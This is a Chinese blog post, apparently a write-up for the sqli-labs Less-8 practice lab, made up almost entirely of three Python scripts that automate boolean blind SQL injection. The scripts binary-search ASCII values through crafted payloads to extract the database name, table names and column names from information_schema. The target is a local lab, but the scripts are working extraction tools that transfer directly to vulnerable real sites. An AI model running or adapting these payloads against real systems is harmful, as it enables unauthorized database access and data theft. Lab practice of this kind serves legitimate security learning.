主页 > 创业  > 

less-8boolen盲注,时间盲注函数补全

less-8boolen盲注,时间盲注函数补全
获取当前数据库名 import requests def inject_database(url):   name=''   max_length=20 # 假设数据库名称最大长度为20   # ASCII范围:数字、字母、下划线(_)   low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}   high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}   for i in range(1, max_length + 1):       low_val=32 # 起始为空格的ASCII码       high_val=122 # 到z的ASCII码       # 执行二分查找来找到每个字符       while low_val < high_val:           middle_val=(low_val + high_val) // 2           payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "           params={"id": payload}           r=requests.get(url, params=params)           # 判断注入是否成功           if 'You are in' in r.text:               low_val=middle_val + 1           else:               high_val=middle_val       # 获取字符并更新数据库名       if low_val > 32: # 跳过空格和其他不可见字符           char=chr(low_val)           name+=char           print(f"Current database name: {name}")       # 重置       low_val=32       high_val=122   print(f"Final database name: {name}") if __name__ == "__main__":   url="http://sqli-labs:8013/Less-8/"   inject_database(url) 获取数据库表 import requests def inject_table_names(url, database_name):   table_names=[] # 用于存储所有表名   max_length=20 # 假设每个表名的最大长度为20   # 限制字符范围:数字、字母、下划线   allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _   # 获取数据库中所有表的个数   # 查询所有表:我们假设表名的个数不超过100   num_tables=100   for table_index in range(num_tables):       table_name=''       for i in range(1, max_length + 1):           low=min(allowed_chars) # 最小值:'0',ASCII 48           high=max(allowed_chars) # 最大值:'z',ASCII 122           middle=(low + high) // 2           while low < high:               # 构造布尔盲注的 payload,查询当前表的名字               payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "               params={"id": payload}               r=requests.get(url, params=params)               # 判断注入是否成功,依据靶场的返回信息               if 'You are in' in r.text: # 判断返回信息                   low=middle + 1               else:                   high=middle               middle=(low + high) // 2           # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符           if middle in allowed_chars: # 确保是有效字符               table_name+=chr(middle)           # 每次获取一个字符后打印当前的表名           print(f"Current table name: {table_name}")           # 重置 low 和 high 的值           low=min(allowed_chars)           high=max(allowed_chars)           middle=(low + high) // 2       if table_name: # 如果当前表名非空,则保存它           table_names.append(table_name)       # 如果注入出了多个表,可以停止       if len(table_names) >= 5: # 假设只注入前五个表名           break   print(f"Final table names: {table_names}") if __name__ == "__main__":   url="http://sqli-labs:8013/Less-8/"   database_name="security" # 目标数据库名称   inject_table_names(url, database_name) 获取表的列 import requests def inject_column_names(url, database_name, table_name):   column_names=[] # 用于存储所有列名   max_length=20 # 假设列名最大长度为20   # 限制字符范围:数字、字母、下划线   allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _   # 获取表的所有列的个数   num_columns=100 # 假设该表最多有100列   for column_index in range(num_columns):       column_name=''       for i in range(1, max_length + 1):           low=min(allowed_chars) # 最小值:'0',ASCII 48           high=max(allowed_chars) # 最大值:'z',ASCII 122           middle=(low + high) // 2           while low < high:               # 构造布尔盲注的 payload,查询当前列的名字               payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "               params={"id": payload}               r=requests.get(url, params=params)               # 判断注入是否成功,依据靶场的返回信息               if 'You are in' in r.text: # 判断返回信息                   low=middle + 1               else:                   high=middle               middle=(low + high) // 2           # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符           if middle in allowed_chars: # 确保是有效字符               column_name+=chr(middle)           # 每次获取一个字符后打印当前的列名           print(f"Current column name: {column_name}")           # 重置 low 和 high 的值           low=min(allowed_chars)           high=max(allowed_chars)           middle=(low + high) // 2       # 检查是否是有效的列名       if column_name and not column_name.startswith("0"): # 去掉以 "0" 开头的无效列名           column_names.append(column_name)       # 如果注入出了多个列,可以停止       if len(column_names) >= 5: # 假设只注入前五个列名           break   # 输出最终的列名   print(f"Final column names: {column_names}") if __name__ == "__main__":   url="http://sqli-labs:8013/Less-8/"   database_name="security" # 目标数据库名称   table_name="users" # 目标表名   inject_column_names(url, database_name, table_name)
标签:

less-8boolen盲注,时间盲注函数补全由讯客互联创业栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“less-8boolen盲注,时间盲注函数补全